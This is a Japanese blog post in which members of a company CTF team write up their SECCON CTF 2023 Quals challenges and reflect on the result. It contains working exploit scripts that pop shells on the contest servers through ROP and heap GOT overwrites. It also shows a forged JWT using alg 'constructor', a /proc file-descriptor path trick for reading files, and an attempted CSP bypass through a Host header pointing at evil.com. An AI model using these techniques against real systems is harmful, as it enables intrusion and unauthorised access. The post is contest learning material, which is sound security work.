こんにちは。CTF部部長のzeosuttです。
弊社のCTFチームspookiesは、2023/09/16-17に開催されたSECCON CTF 2023 Qualsに参加しました。
結果は全体47位、国内11位で、決勝に進むことはできませんでした。
以下、各メンバーの参加記まとめです。
zeosutt
writeup
[pwnable] rop-2.35 (121 solves)
問題
system()
を呼んだ後 gets()
を呼ぶだけのバイナリです。
セキュリティ機構は以下のようになっています。
RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
canary無効かつPIE無効です。ゆるいですね。
ただし、glibc 2.35のため、ROPでいつもお世話になっていた __libc_csu_init()
は存在しません。
解法
gets()
から返る直前には _IO_lock_unlock()
が呼ばれます。この時rdiに _IO_stdfile_0_lock
のアドレスが入るのですが、その後 gets()
から返るまでにrdiが変更されることはありません。
つまり、gets()
から返った直後のrdiには _IO_stdfile_0_lock
のアドレスが入っています。
よって、 main()
から普通に gets()
を呼んだ後は、ROPでそのまま gets()
を呼んで _IO_stdfile_0_lock
に値を書き込み、そのまま system()
を呼べばOKです。
ただし、 _IO_lock_unlock()
では _IO_stdfile_0_lock.cnt
のデクリメントが行われるため、 "/bin/sh"
ではなく "/bin0sh"
を書き込む必要があります。
from pwn import * target = ELF('chall') with remote('rop-2-35.seccon.games', 9999) as r: payload = b'' payload += b'A' * 0x18 payload += p64(target.plt['gets']) payload += p64(target.plt['system']) r.sendlineafter(b'Enter something:\n', payload) r.sendline(b'/bin0sh') r.interactive()
SECCON{i_miss_you_libc_csu_init_:cry:}
ImaginaryCTF 2023の ret2lose とほぼ同じですが、今回は main()
が値を返しません。ゆえに gets()
の返り値がraxに入ったままのため、それを利用する解法もあったようです。
[pwnable] DataStore1 (30 solves)
問題
多分木でデータを管理するバイナリです。
セキュリティ機構は以下のようになっています。
RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ガチガチですね。ヒープ問を感じます。
型定義は以下の通りです。
typedef enum { TYPE_EMPTY = 0, TYPE_ARRAY = 0xfeed0001, TYPE_STRING, TYPE_UINT, TYPE_FLOAT, } type_t; typedef struct { type_t type; union { struct Array *p_arr; struct String *p_str; uint64_t v_uint; double v_float; }; } data_t; typedef struct Array { size_t count; data_t data[]; } arr_t; typedef struct String { size_t size; char *content; } str_t;
data_t
がノードの型で、 type
に応じて値が変わります。
例えば type
が TYPE_ARRAY
の場合、子ノードの配列とその要素数からなる arr_t
へのポインタが値となります。
解法
編集する子ノードのインデックスの入力チェックに誤りがあり、 末尾ノードのインデックス + 1
が指定できます。
これを利用することで、任意のアドレスの値を読み取ったり、任意のアドレスに任意の値を書き込んだりできます。
例を示します。
まず、ルートを要素数2の配列にし、ルートの0番目の子ノードを要素数1の配列にした後、ルートの1番目の子ノードを "AAA...A"
という文字列にします。
この時のヒープは以下のようになります。
次に、ルートの0番目の子ノードの1番目(不正なインデックス)の子ノードを "AAA...A"
という文字列にします。
「ルートの0番目の子ノードの1番目の子ノード」とか長いので、以後 [0][1]
と記載します。
この時のヒープは以下のようになります。
なお、この時点で [1]
を表示すれば、ヒープのアドレスをリークできます。
次に、 [1]
を [1].p_str->content+0x10 + "AAAAAAAA" + 0x100 + 任意のアドレス
に書き換えます。
この時のヒープは以下のようになります。
これで、 [0][1]
を通して、任意のアドレスに対する読み書きが可能となります。
puts()
を呼んでいるため、libcの strlen@got
をone-gadgetに書き換えると楽にシェルが取れます。
from pwn import * STRLEN_GOT = 0x219098 ONE_GADGET = 0xebcf8 def edit_array(indices, size): r.sendlineafter(b'> ', b'1') for index in indices: r.sendlineafter(b'index: ', str(index).encode()) r.sendlineafter(b'> ', b'1') r.sendlineafter(b'> ', b'a') r.sendlineafter(b'input size: ', str(size).encode()) def edit_value(indices, value, is_update): r.sendlineafter(b'> ', b'1') for index in indices: r.sendlineafter(b'index: ', str(index).encode()) r.sendlineafter(b'> ', b'1') if is_update: s = r.recvline_startswith(b'Current: <S> ').split(maxsplit=2)[-1] r.sendlineafter(b'new string ', value) return s else: r.sendlineafter(b'> ', b'v') r.sendlineafter(b'input value: ', value) def delete(indices): assert len(indices) > 0 r.sendlineafter(b'> ', b'1') for index in indices[:-1]: r.sendlineafter(b'index: ', str(index).encode()) r.sendlineafter(b'> ', b'1') r.sendlineafter(b'index: ', str(indices[-1]).encode()) r.sendlineafter(b'> ', b'2') def show(indices): assert len(indices) > 0 r.sendlineafter(b'> ', b'2') for i, index in enumerate(indices): s = r.recvline_startswith(f'{" " * i * 4}[{index:02}] '.encode()).split(maxsplit=1)[-1] return s def exit(): r.sendlineafter(b'> ', b'0') # with process('./chall') as r: with remote('datastore1.seccon.games', 4585) as r: edit_array([], 4) edit_array([0], 1) edit_value([1], b'A' * 0x28, False) delete([0, 1]) edit_value([0, 1], b'hoge', False) HEAP_BASE = u64(show([1])[4:].ljust(8, b'\x00')) - 0x430 print(hex(HEAP_BASE)) edit_array([2], 9) for i in range(9): edit_array([2, i], 8) delete([2]) payload = b'' payload += p64(HEAP_BASE + 0x340) payload += b'A' * 0x8 payload += p64(0x100) payload += p64(HEAP_BASE + 0x8e0) edit_value([1], payload, True) LIBC_BASE = u64(edit_value([0, 1], b'hoge', True).ljust(8, b'\x00')) - 0x219ce0 print(hex(LIBC_BASE)) payload = b'' payload += p64(HEAP_BASE + 0x340) payload += b'A' * 0x8 payload += p64(0x100) payload += p64(LIBC_BASE + STRLEN_GOT) edit_value([1], payload, True) edit_value([0, 1], p64(LIBC_BASE + ONE_GADGET), True) exit() r.interactive()
SECCON{'un10n'_15_4_m4g1c_b0x}
[crypto] plai_n_rsa (183 solves)
普通のRSAです。
ただし、 は与えられず、代わりに と が与えられます。
より 。
また、 より 。
よって、 の約数として を求め、そこから を求めればOKです。
ただし、 の候補は複数あるため、その中から復号結果がフラグの形式を満たすものを探す必要があります( と から と を求め、それらが素数となるものを探しても良さそう?)。
FactorDB によると、 らしいです。
は合成数のようですが、その約数が の方に含まれないことを祈ります。
import itertools import functools import operator from Crypto.Util.number import long_to_bytes e = 65537 d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 # e * d - 1 = phi * k = 2^4 · 5 · 7 · 23 · 43 · 67 · 1181 · 7591 · 7658627 · 3949485211...09<600> for factors in itertools.product([1, 2, 4, 8, 16], [1, 5], [1, 7], [1, 23], [1, 43], [1, 67], [1, 1181], [1, 7591], [1, 7658627], [394948521143994489838953277890836805109338797275248043023253065747743266650130355753204088845354732860500279374300398416248993262169428812741545745384473945919251907892872357305946224273246166414752483794106948860989694811691078946570195930794945601509393926552206514243904063115453263520550270172913095025218859112594298776675906690465358842039117988911395006412708305248535196939977482914811029483167343522091856842468584537747418055001866652648456814313701592549017037165787088093309674333709394774150914343776252661077887932172384137046699800336330592461980120361050794357242545112735388833714409]): phi = functools.reduce(operator.mul, factors) n = phi + hint - 1 m = pow(c, d, n) m_bytes = long_to_bytes(m) if m_bytes.startswith(b'SECCON{'): print(m_bytes) exit()
SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}
の約数が の方に含まれないことを祈りましたが、そもそも より であるため、 でした。
Azure Assassin Alliance CTF 2022の impossible RSA を解いた際は に気付いたようですが、今回は気付きませんでした。基礎力不足を感じます。
[reversing] jumpout (154 solves)
フラグを入力するよう求めるバイナリです。
気合で解析すると、以下のことが分かります。
- 各関数は最初にスタック上にアドレスを格納し、順次それらにjmpしていくように実装されている
- 入力の各バイトについて、それを幾つかの値とxorした結果がある値と一致するかをチェックしている(各値は、バイナリ中の値やループ変数)
- 全バイトについて上記チェックが通ればOK
よって、以下のようにして解けます。
from pwn import * seq1 = b'\xf6\xf5\x31\xc8\x81\x15\x14\x68\xf6\x35\xe5\x3e\x82\x09\xca\xf1\x8a\xa9\xdf\xdf\x33\x2a\x6d\x81\xf5\xa6\x85\xdf\x17' seq2 = b'\xf0\xe4\x25\xdd\x9f\x0b\x3c\x50\xde\x04\xca\x3f\xaf\x30\xf3\xc7\xaa\xb2\xfd\xef\x17\x18\x57\xb4\xd0\x8f\xb8\xf4\x23' seq3 = bytes(range(0x1d)) flag = xor(seq1, seq2, seq3, b'\x55') print(flag)
SECCON{jump_table_everywhere}
[reversing] Sickle (89 solves)
pickleのバイトコードを実行するスクリプトです。
実行すると、フラグを入力するよう求められます。
pickle.py を見ながら気合でディスアセンブルすると、以下のようなコードであることが分かります。
s = input(b'FLAG> ').encode() if len(s) != 0x40: exit() for i in range(0x40): if s[i] > 0x7f: exit() a1 = [] for i in range(0x8): a1.append(int.from_bytes(s[i*8:i*8+8], 'little')) a2 = [] x = 1244422970072434993 for i in range(0x8): a2.append(pow(a1[i] ^ x, 65537, 18446744073709551557)) x = a2[i] return a2 == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905]
よって、以下のようにして解けます。
p = 18446744073709551557 e = 65537 xs = [1244422970072434993, 8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905] d = pow(e, -1, p - 1) flag = b''.join((pow(c, d, p) ^ b).to_bytes(8, 'little') for c, b in zip(xs[1:], xs)) print(flag)
SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}
[reversing] optinimize (39 solves)
フラグを先頭から1文字ずつ表示するバイナリです。
ただし、後ろに行けば行くほど表示までに掛かる時間が長くなり、このままでは一生終わりそうにありません。
気合で解析したり、何かを計算している関数の結果を OEIS に投げたりすると、以下のことが分かります。
- 出力の各インデックスについて、
- 対応するバイナリ中の値が2つある(
n[i]
、c[i]
とする) - ペラン数
P(1)
が1
で割り切れるか、P(2)
が2
で割り切れるか、P(3)
が3
で割り切れるか、...、と確認していっている P(k)
を割り切るk
の個数がn[i]
に達したときのk
について、k % 0x100 ^ c[i]
で表される文字を出力している
- 対応するバイナリ中の値が2つある(
ペラン数 - Wikipedia によると、 P(k)
を割り切る k
は基本的に素数のようです。
つまり、ざっくりと n[i]
番目の素数を求めればよいことが分かります。
ただし、実際には 1
とペラン擬素数を考慮する必要があることに注意します。
#include <stdio.h> #include <stdbool.h> int ns[] = {0x4a, 0x55, 0x6f, 0x79, 0x80, 0x95, 0xae, 0xbf, 0xc7, 0xd5, 0x306, 0x1ac8, 0x24ba, 0x3d00, 0x4301, 0x5626, 0x6ad9, 0x7103, 0x901b, 0x9e03, 0x1e5fb6, 0x26f764, 0x30bd9e, 0x407678, 0x5b173b, 0x6fe3b1, 0x78ef25, 0x858e5f, 0x98c639, 0xad6af6, 0x1080096, 0x18e08cd, 0x1bb6107, 0x1f50ff1, 0x25c6327, 0x2a971b6, 0x2d68493, 0x362f0c0, 0x3788ead, 0x3caa8ed}; int cs[] = {0x3c, 0xf4, 0x1a, 0xd0, 0x8a, 0x17, 0x7c, 0x4c, 0xdf, 0x21, 0xdf, 0xb0, 0x12, 0xb8, 0x4e, 0xfa, 0xd9, 0x2d, 0x66, 0xfa, 0xd4, 0x95, 0xf0, 0x66, 0x6d, 0xce, 0x69, 0x00, 0x7d, 0x95, 0xea, 0xd9, 0x0a, 0xeb, 0x27, 0x63, 0x75, 0x11, 0x37, 0xd4}; int as[] = {271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221}; bool is_ok[0x80000000]; int main(void) { for (long i = 1; i < 0x80000000; i++) { is_ok[i] = true; } for (long i = 2; i < 0x10000; i++) { if (is_ok[i]) { for (long j = i * i; j < 0x80000000; j += i) { is_ok[j] = false; } } } for (long i = 0; i < sizeof(as) / sizeof(as[0]); i++) { is_ok[as[i]] = true; } int count = 0; int i = 0; for (int j = 0; j < sizeof(ns) / sizeof(ns[0]); j++) { while (true) { if (is_ok[++i]) { if (++count == ns[j]) { putchar(i % 0x100 ^ cs[j]); fflush(stdout); break; } } } } putchar('\n'); return 0; }
SECCON{3b4297373223a58ccf3dc06a6102846f}
[misc] readme 2023 (93 solves)
指定されたパスを os.path.realpath()
で正規化したものの内容を表示するサービスです。
ただし、正規化前のパスに flag.txt
や fd
が含まれている場合はエラーを吐きます。
Dockerコンテナに入ってファイルディスクリプタを確認した結果は以下の通りです。
ctf@d56d1e9ceef3:~$ ls -la /proc/$(pgrep python)/fd total 0 dr-x------ 2 ctf ctf 8 Sep 22 19:54 . dr-xr-xr-x 9 ctf ctf 0 Sep 22 19:54 .. lrwx------ 1 ctf ctf 64 Sep 22 19:54 0 -> 'socket:[1757815]' lrwx------ 1 ctf ctf 64 Sep 22 19:54 1 -> 'socket:[1757815]' l-wx------ 1 ctf ctf 64 Sep 22 19:54 2 -> 'pipe:[1755753]' lrwx------ 1 ctf ctf 64 Sep 22 19:54 3 -> 'socket:[1757083]' lrwx------ 1 ctf ctf 64 Sep 22 19:54 4 -> 'socket:[1757084]' lr-x------ 1 ctf ctf 64 Sep 22 19:54 5 -> /home/ctf/flag.txt lr-x------ 1 ctf ctf 64 Sep 22 19:54 6 -> /home/ctf/flag.txt lrwx------ 1 ctf ctf 64 Sep 22 19:54 8 -> 'socket:[1757816]'
よって、正規化後のパスが /proc/self/5
または /proc/self/6
になればOKです。
ここで、
ctf@d56d1e9ceef3:~$ ls -la /dev/std* lrwxrwxrwx 1 root root 15 Sep 22 19:41 /dev/stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 Sep 22 19:41 /dev/stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 Sep 22 19:41 /dev/stdout -> /proc/self/fd/1
ですので、例えば /dev/stdin/../6
と指定すればフラグが得られます。
SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}
反省
[pwnable] selfcet (50 solves)
partial overwriteに気付けませんでした。何年pwnやってるんですかあなたは...
最悪「ごめん」と謝りながら12ビットガチャで通して予選突破できたと考えると、悲しくなりますね。
4ビットガチャ解法はどれも勉強になりました。
想定解( arch_prctl()
)や mprotect()
解はなるほどとなりましたし、素直に main()
をもう一度呼ぶ解法も、一筋縄では行かずいろいろなやり方があって面白かったです。私は ftw()
を見つけました。
[sandbox] crabox (53 solves)
RustのマクロはCのプリプロセッサなんかよりずっとパワフルで、これを利用して何でもできそうだ。マクロにはdeclarative macrosとprocedural macrosがあって、後者を使えば任意コマンドの実行もできるっぽい。でも、そのためには rustc
を --crate-type proc-macro
付きで実行してくれないといけなそう。無理だ。と諦めました。
コマンド実行に固執しすぎて、他の可能性を探れなかったのがダメな点です。
去年の txtchecker でも全く同じミスをしています。
とはいえ、特定の方針で突き詰めていくことも問題を解く上では重要ですし、様々な方針を検討するため、他のメンバーにも取り組んでもらうようお願いしていく必要があると強く感じました。
pwnは知識ゼロだと方針も何も立ったもんじゃないですが、これはそうではないですからね。
[reversing] Perfect Blu (51 solves)
(00000.m2ts
と 00095.m2ts
と 00096.m2ts
を除いて)同じ見た目の動画が2つずつあることに気付けませんでした。
動画は動画だと思っていたので、リモコンで選択して決定するような部分のロジックは MovieObject.bdmv
にでも入ってるのかな、分からんなとなっていました。
上記に気付けていれば、「オートマトンでは?」と考えたり動画どうしをバイナリ比較したりできていたかもしれません。
crabox 同様、複数人で取り組み、様々な視点から観察できるよう働きかける必要があったように感じます。
[reversing] xuyao (28 solves)
解いていません。取り組んですらいません。
じゃあ何を反省するんだという話ですが、取り組まなかったことが反省点です。
結果論ですが、最後に取り組み解いたのが optinimize ではなくこれであれば、予選突破でした。
点数状況と去年の実績(19 solvesの eldercmp を解いた)を考慮し、こちらを解くという判断をしていれば、結果は変わっていたかもしれません。
ええ。ただの結果論なのは分かっています...
感想
ひたすら悔しいです。
ボーダー争いになるだろうとは予想していたのですが、まさかここまで見事な結果になるとは思っていませんでした。あと4点てw
一昨年や去年は4問しか解けませんでしたが、今年は7問も解けました。それにもかかわらずこの結果。
正直、1週間以上経った今でも、傷は完全には癒えていません...
来年はさらに強くなって帰ってきます。
次こそ決勝に行きますよ。よろしくお願いしますね。
余談
ところで、2018年の初参加から43位→49位→49位→49位→51位→47位という順位変動なのですが、安定感凄くないですか。
安定感抜群枠があれば、文句なしの決勝進出だと思います。
もちろん実際にはそんな枠はないので、もう一つ上の順位帯で安定できるよう努力あるのみですね。頑張ります。
hiraoka
[web]Bad JWT
JWT検証を自前実装されている問題なので、jwt.js
から怪しそうなところはないか眺めると、非常に臭うところがすぐに見つかりました。以下に該当ソースを示します。
... const algorithms = { hs256: (data, secret) => base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()), hs512: (data, secret) => base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()), } ... const createSignature = (header, payload, secret) => { const data = `${stringifyPart(header)}.${stringifyPart(payload)}`; const signature = algorithms[header.alg.toLowerCase()](data, secret); return signature; }
JWTのヘッダーで指定されたalg
で署名の生成方法が指定できる仕組みになっています。algorithms
オブジェクトにはhs256
とhs512
が用意されているようですが、Object
に生えているものならば他にもアクセスできそうです。ただし、header.alg.toLowerCase()
となっているため、全て小文字の関数である必要があります。私はconstructor
を選びました。
{ "alg": "constructor" }
※base64するとeyJhbGciOiJjb25zdHJ1Y3RvciJ9
また、この問題はindex.js
にある通り、JWTのペイロード自体がsession値となっており以下の部分をクリアすればいいです。
app.get('/', (req, res) => { if (req.session.isAdmin === true) { return res.send(FLAG); } else { return res.status().send('You are not admin!'); } });
なので、ペイロードは以下のようにします。
{ "isAdmin": true }
※base64するとeyJpc0FkbWluIjp0cnVlfQ
上記のヘッダーとペイロードから生成される署名を確認するためにローカルで以下のコードを実行しました。
const sig = createSignature({alg: "constructor"}, {isAdmin: true}, "dummy") const buf = Buffer.from(sig, 'base64') console.log(buf.toString('base64')) output: eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ==
これで突破用のJWTの素材は全て集まったので、ドットで結合することにより、eyJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ==
が得られました。
これをChromeでcookie(キー名はsession
)に設定して、問題サイトにアクセスすれば完了です。
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
chururi
参加の経緯
突如として zeosutt さんから Slack にて「CTF、やってみませんか?」なるメンションが着弾。とりあえず話だけ聞いてみることにして、退勤後いろいろ聞いてみたところ、なかなか面白そうだったのでCTF部に加入することに。自分自身も昔から Wireshark を使ったネットワークのリバースエンジニアリング(確か Minecraft にどハマリしていて、RakNet 周りのパケット通信の内容を知りたくてやったはず)をしてたり、Android アプリを逆アセンブルして API のエンドポイントを探ったり、あるいは JVM 仕様書を読んで実際に作ってみたりと、ギークな問題には昔から好きだったのですぐに没頭してしまった。幸いなことに 2 週間後に SECCON があるということだったため、2 週間かけてジャンルを問わずに SECCON の過去問を解いて本番に向けて特訓を始めた。同時にヒンジがお亡くなりになった Windows PC を引っ張り出してきて VirtualBox を突っ込み、Ubuntu + Docker な仮想 Linux サーバを立てて砂場も作った(これが結構面白く、"爆破可能" な環境を構築することにワクワクしていた)。
概要
SimpleCalc
本問は、ユーザが計算式を入力して「report」ボタンを押すと、サーバサイドの Headless Chrome がこの計算式を eval 関数によって実行し、値を返却するという計算機のシステムである。
パッと見た瞬間「あっ、これ進◯ゼミで見たやつだ!」と思えるくらい見覚えのあるコードで、小一時間くらいで解けるだろうと思ってしまっていた(後に地獄を見る)。SECCON 2022 Online でも出ていた bffcalc 同様、計算式を入力して「report」ボタンを押すと eval を実行するようなページを Admin Bot が実行してくれるような構成で、演習のときに解けてしまっていたのが原因だろう。ところがどっこい、他の web 問でも基本的にこのような構成が取られることが多いようで(あとで気づいた)、Admin Bot 系の問題を一問しか解いていなかった自分はこの策略にまんまとハマったのである。
問題を見てみると、CSP1によって単一の JavaScript ファイルのみの実行が許可されていて、かつ eval 関数の実行のみが許可されているようだった。恐らくこれがこの問題のミソであろう。以下に試した解法を簡単に述べていこうと思う。
Base 書き換えによる攻撃(失敗)
問題の HTML ファイルは、
Content-Security-Policy: default-src http://hogehoge.com/js/index.js 'unsafe-eval'
がヘッダに乗ってきており、
<script src="/js/index.js"></script>
という記述で JavaScript の読み込みが行われていたため、計算式に Base
要素を注入してベースとなるドメインを自前サーバにしてしまえば、自前サーバに用意した /js/index.js ファイルを通して任意コードが実行できるのではないかと考えた。しかし、CSP のヘッダが付与されている限り当然ながらこれを実行することはできず、失敗に終わった。
不正なHostヘッダを持ったHTTPリクエストの送信(失敗)
上述の CSP ヘッダは、
`default-src ${requestHeaders["Host"]}/js/index.js ...`
といった形で組み立てられていたため、リクエストの Host ヘッダにいい感じの文字列を与えてやれば解決が目指せると考えた。実際に、不正なリクエストを送信するスクリプトを Kotlin2 で書いてみたが、クライアント側の Express サーバが Host ヘッダを元に URL オブジェクトを生成する際、不正な URL だと怒られて失敗に終わった。
実際に送信した Host ヘッダは残っていないので完全再現は難しいが、script-src
等が設定できれば良いので、
Host: 'self'; script-src https://evil.com
のような文字列を送り付けたような気がする。
iframeの注入によるCSPジャック(失敗)
これは 上述の Base
注入攻撃同様、独自の CSP を指定した iframe
を注入することで攻撃を行う方法である。MDN によれば、iframe
要素には csp
属性としてフレーム内のコンテンツセキュリティポリシを設定できるらしいので、ここにより強力な script-src
を設定した上でフレーム内部から外部にアクセスすることで攻撃ができるのではないかと考えた。結論としては失敗で、iframe 内に挿入したスクリプトが動かなかった。
head要素内にmeta要素としてCSPを設定する(失敗)
head
要素内に meta
要素として CSP を指定することができるので、ここに script-src
ディレクティブを指定してやれば default-src
が上書きされて任意のコードが実行できるのではないかと考えた。しかしながら、やはりこの攻撃も失敗に終わり、CSP を注入することで既存のものを上書きすることはできず、既存のものより優先度が下になってしまうという。
ServiceWorkerによる攻撃(失敗?)
前提として、ServiceWorker はブラウザのレンダラとネットワーク・プロセッサの間に介入することができ、例えば fetch
の動作を実際に通信せずともエミュレートしたり、fetch
してきた内容を改変することができる、CSPを無駄にする残念なServiceWorker によれば、ServiceWorker によって CSP の制限をくぐり抜けることができるというが、自分はServiceWorker は https コンテキスト上でしか動作しないという大きな思い込みをしており、ろくに検証せず検討をやめてしまった(問題は http として提供されていた)。しかしながら、ServiceWorker は localhost 上でなら http コンテキスト上でも動作することを回答公開後に知り、深く絶望するなどした。公式の解法でもこの手法を用いており、惜しいところまで行った自分に歯ぎしりをしたのである。
感想
初めての SECCON 参戦だったが、今までほとんどしてこなかった「Web をセキュリティの観点から見ること」を強烈にさせられたと思う。そして、Web に対するセキュリティ意識の甘さを深く実感した。今までは動くものを作れればそれで良いという意識でものづくりをしてきたが、今後一流のエンジニアになっていくためには、知識やアルゴリズムを洗練させるだけではなく、攻撃者の気持ちになってセキュリティにも配慮した実装を行っていくことが大切だと思った。特に今回自分が挑んだ問題は CSP が題材になっていたが、自分はこの仕様をこの問題を通して初めて知った。まだまだ知識が浅いので時間をかけてじっくりと身に着けていきたい。
最後に、今回スプーキーズは国内11位で、国内決勝まであと一歩及ばず...というところだったが、zeosutt さん、hiraoka さんの活躍もあってここまで行けて本当に良かった。自分が一問解けていたら...という自責の念に駆られていたが、失敗は成功のもと、くよくよせずに鍛錬を続けていきたいと思う。
今回お誘いいただいた zeosutt さん、そして一緒に問題を解いてくださった nishizuka さん、21ma さん、 hiraoka さん、本当にありがとうございました!また来年、頑張りましょう!!
nishizuka
- 今年はサボリにサボってしまったCTF。
- 部長がテンションを保ってくれて、本当に助かりました。
- 今年のSECCONは、今年のCTFの時間のほぼ100%の6時間位費やしましたがーーーーーーー
- 個人点は、0点でした。
- ですが、CTF時間を使って、またみんなで試行錯誤して、楽しめました。
- 来年に向けて、着実にトレーニングしていきます!
- 部長、ありがとう!
21ma
今年は残念ながら予定していた旅行のため不参加でした。
iPhoneからslackのスレをチラ見する程度で、
陰ながら応援することしかできませんでした。
ただ、実力のあるメンバーも増えてチームとしては面白い状態。
来年こそは決勝に行けると信じてます。